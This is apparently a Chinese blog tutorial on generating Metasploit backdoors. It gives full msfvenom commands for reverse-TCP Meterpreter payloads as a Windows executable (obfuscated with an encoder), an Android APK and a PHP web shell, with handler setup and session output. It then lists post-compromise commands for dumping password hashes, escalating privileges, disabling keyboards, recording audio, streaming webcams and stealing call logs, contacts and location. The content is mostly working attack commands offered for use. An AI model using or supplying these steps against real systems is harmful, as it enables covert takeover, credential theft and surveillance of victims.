生成windows後門php
1.首先生成後門android
[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe
2.進入Metasploit,執行如下操做web
msf > use exploit/multi/handler msf exploit(multi/handler) >
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.25
lhost => 192.168.1.25 msf exploit(multi/handler) > set lport 6666 lport => 6666
msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.25:6666 [*] Sending stage (179779 bytes) to 192.168.1.10 [*] Meterpreter session 1 opened (192.168.1.25:6666 -> 192.168.1.10:54264) at 2018-06-02 02:24:17 -0400
3.將咱們的(lyshark.exe)拷貝到目標主機並運行shell
4.攻陷後經常使用查詢命令windows
ps #查看進程
migrate #注入進程
run vnc #查看遠程桌面session
cat #查看文件
edit #編輯文件
upload #上傳文件
download #下載文件
rm #刪除文件
mkdir #建立文件夾
rmdir #刪除文件夾tcp
sessions -l #查看會話
backgroud #退出當前會話ui
enumdesktops #在線用戶數
uictl disable keyboard #讓鍵盤失效
uictl enable keyboard #恢復鍵盤
record_mic -d 10 #音頻錄製
webcam_stream #開啓攝像頭
screenshot #桌面抓圖
sysinfo #系統信息查詢
getsystem #獲取最高權限
hashdump #密碼hash編碼
生成Android後門spa
1.首先生成後門
[root@localhost ~]# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=6666 R > ./lyshark.apk
2.進入Metasploit,執行如下操做
msf > use exploit/multi/handler msf exploit(multi/handler) > msf exploit(multi/handler) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.1 lhost => 192.168.1.1 msf exploit(multi/handler) > set lport 6666 lport => 6666 msf exploit(multi/handler) > exploit [-] Handler failed to bind to 192.168.1.1:6666:- - [*] Started reverse TCP handler on 0.0.0.0:6666
3.將咱們的(lyshark.apk)拷貝到目標主機並運行
4.此時主機已經淪陷,查看一下系統吧
經常使用命令: search #搜索 search -f *.jpg download webcam_stream -i 1/2 #打開前置或後置攝像頭 check_root #檢測root dump_calllog #下載電話記錄 dump_contacts #下載信息記錄 geolocate #定位,須要下載谷歌地圖
生成php後門
1.首先生成後門
[root@localhost ~]# msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.1.1 lport=6666 -f raw > ./lyshark.php
2.進入Metasploit,執行如下操做
msf > use exploit/multi/handler msf exploit(multi/handler) > msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp payload => php/meterpreter_reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.1 lhost => 192.168.1.1 msf exploit(multi/handler) > set lport 6666 lport => 6666 msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. msf exploit(multi/handler) > [-] Handler failed to bind to 192.168.1.1:6666:- - [*] Started reverse TCP handler on 0.0.0.0:6666
3.將咱們的(lyshark.php)拷貝到目標網頁根路徑
生成shellcode
1.生成shell <-e 使用編碼 - i 編碼次數>
[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.1.1 -e x86/shikata_ga_nai -i 11 -f py > lyshark.py